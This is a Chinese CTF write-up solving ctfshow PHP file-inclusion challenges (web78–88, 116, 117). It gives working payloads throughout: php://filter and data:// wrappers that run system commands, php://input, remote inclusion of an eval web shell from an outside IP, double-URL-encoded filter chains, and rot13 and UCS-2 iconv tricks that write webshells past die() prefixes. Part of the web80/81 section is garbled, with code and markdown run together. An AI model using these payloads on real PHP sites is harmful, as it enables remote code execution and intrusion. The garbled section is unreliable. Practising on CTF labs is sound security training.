以前没vps一直不敢做文件包含,一遇到远程就自闭,碰巧发现华为云有超绝性价比服务器,立买,爽打ctf,来老地方继续练手

web78

源码:

1
2
3
4
5
6
7
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

filter读文件

payload: ?file=php://filter/convert.base64-encode/resource=flag.php

web79

1
2
3
4
5
6
7
8
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

不能用php,这题用data伪协议执行命令,直接

exp1(data加密执行命令):

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

exp2:

?file=data://text/plain,<?=`tac f*`;?>

exp3:

将 php 替换为 ???, 不过这个默认是不忽略大小写的

使用 phP://input 绕过(data://php://input 都可以用来执行 PHP 代码)

POST提交:<?php echo file_get_contents('flag.php'); ?>

web80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
?>`,最后POST`1=system('ls');`,成功getshell!

## exp2(input伪协议)

用上一题的 `phP://input` 绕过

GET:`?file=phP://input`

POST:`<?php system('ls') ?>`

## exp3(远程文件包含)

`?file=http://123.249.99.71/shell.txt`
shell.txt中内容
`<?php eval($_POST[1]);?>`
再POST`1=system('ls');`

# web81
```php
<?php
?>`,最后POST`1=system('tac fl0g.php');`,成功getshell!

# web82-86
**竞争环境需要晚上1130分至次日730分之间做,其他时间不开放竞争条件** 先放着,开学回学校补

# web87
```php
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

文件内容前插入了死亡代码<?php die();?>, 直接写的话后面的内容不会被执行

exp1(filter伪协议)

介绍一下base64解码的特点

首先base64解码时只会识别字母和一些特殊字符如=,其他的不识别,其次base64解码是将4个字节转化为3个字节

Base64使用到的64个字符:

A-Z 26个
a-z 26个
0-9 10个
+ 1个
/ 1个

过程

对于?file=php://filter/convert.base64-decode/resource=s1mple.php,假如我们的file就是这个伪协议的话,注意这里是decode,我们会把文件里面的内容进行base64解码,因为死亡代码中只有phpdie会被识别出来,只有六个字节,这时候我们在·最前面添加2个字节就可以销毁死亡代码(让其解码成乱码)

这里我们选择convert.base64-decode过滤器

其实当我们在浏览器传参时,浏览器是会先帮我们进行一次url解码的,又因为最后一行有urldecode($file), 我们可以通过两次url编码方式来绕过str_replace()

网上的大多在线urlencode无法对正常字符如A-Z a-z等进行编码,我们可以

  1. 用bp的解码模块
  2. http://web.chacuo.net/charseturlencode(选择里面的复杂模式)
  3. 用下面的代码
    1
    2
    3
    4
    5
    6
    7
    8
    text = 'php://filter/convert.base64-decode/resource=1.php'

    new_text = ''

    for i in text:
    new_text += hex(ord(i)).replace('0x', '%25')

    print(new_text)
    注意需要把 % 替换成 %25, 才能达到二次编码的效果
1
2
3
4
5
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30
#这里就是相当于php://filter/convert.base64-decode/resource=cmd.php
#同时传入content
content=aaaaaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
#PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+等价于<?php eval($_POST[1]);?>

注意到content不能只添加两个a,这时候会出现乱码,由于phpdie是6个字节,当我们添加2个字节aa时,我们的木马前面的尖括号没了,这时候代码不会被运行(有的师傅好像加两个a也可以,大家可以都试试)

exp2(rot13过滤器)

payload:

1
2
3
4
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
//?file=php://filter/write=string.rot13/resource=1.php

content=<?cuc riny($_CBFG[1]);?>

传入后的1.php:<?cuc qvr('大佬别秀了);<?php eval($_POST[1]);?>

web88

BASE64规则

1
2
3
4
5
6
7
8
9
10
 <?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

简简单单的几行代码,就一个preg_match和一个include,容易想到是用伪协议,首先phpban了,filter的就别想了

只可能是data的伪协议,我们采用base64编码,但是这里注意,base64编码出来的结果结尾不能是+或者=号,因为被过滤了

至于解决方法,由于base64编码是三个字节转成四个字节=只是个补充符号罢了,去掉不会影响我们的指令运行,所以只要结尾不是+或者-号的就可以(+号不能删)

构造payload:
<?php system('ls')?>(前面system后面可以不加;,而且加了之后是+作为结尾)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4

后面读flag时,如果system(cat fl0g.php)结尾是+,所以写成<?php system('cat fl0*')?>

一开始也可以直接<?php eval($_POST[1]);进行编码getshell

web116

misc + lfi

打开网站后是一个mp4, 下载下来分析文件

binwalk提取失败了, 用的foremost

过滤了很多协议和编码方式,但其实都是摆设,因为用的是file_get_contents所以,直接 输入file=flag.php就可以过了。

?file=flag.php

也可以用php://filter直接明文读取,?file=php://filter/resource=flag.php

输入payload后看不到flag,禁止了我们访问源代码,我们就view-source:

web117

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

与上一题的源码差不多,ban的东西也一样,就是不ban filter。
ban掉了base64编码,rot13编码,UTF编码,string
剩下的还有convert.iconv.中的usc-2usc-4

1
2
3
convert.iconv.<input-encoding>.<output-encoding> 

convert.iconv.<input-encoding>/<output-encoding>

该过滤器类似于 iconv() 函数, 参考文档如下

https://www.php.net/manual/zh/function.iconv.php

https://www.php.net/manual/zh/mbstring.supported-encodings.php

这里直接用先知那篇文章里的从UCS-2LEUCS-2BE的转换

本地生成一个 payload, 注意原始长度必须是偶数

1
2
3
4
5
6
<?php 
$text = '<?php system($_GET[11]);?>';

echo iconv("UCS-2LE", "UCS-2BE", $text);
?>
//?<hp pystsme$(G_TE1[]1;)>?

payload

1
2
3
GET: ?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php

POST: contents=?<hp pystsme$(G_TE1[]1;)>?

扩展

更多编码方式

https://xz.aliyun.com/t/8163

https://www.anquanke.com/post/id/202510

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

参考

ctfshow Web入门[文件包含] Writeup - X1r0z Blog
CTFSHOW-文件包含 - Boogiepop Doesn’t Laugh
CTFSHOW web入门 文件包含篇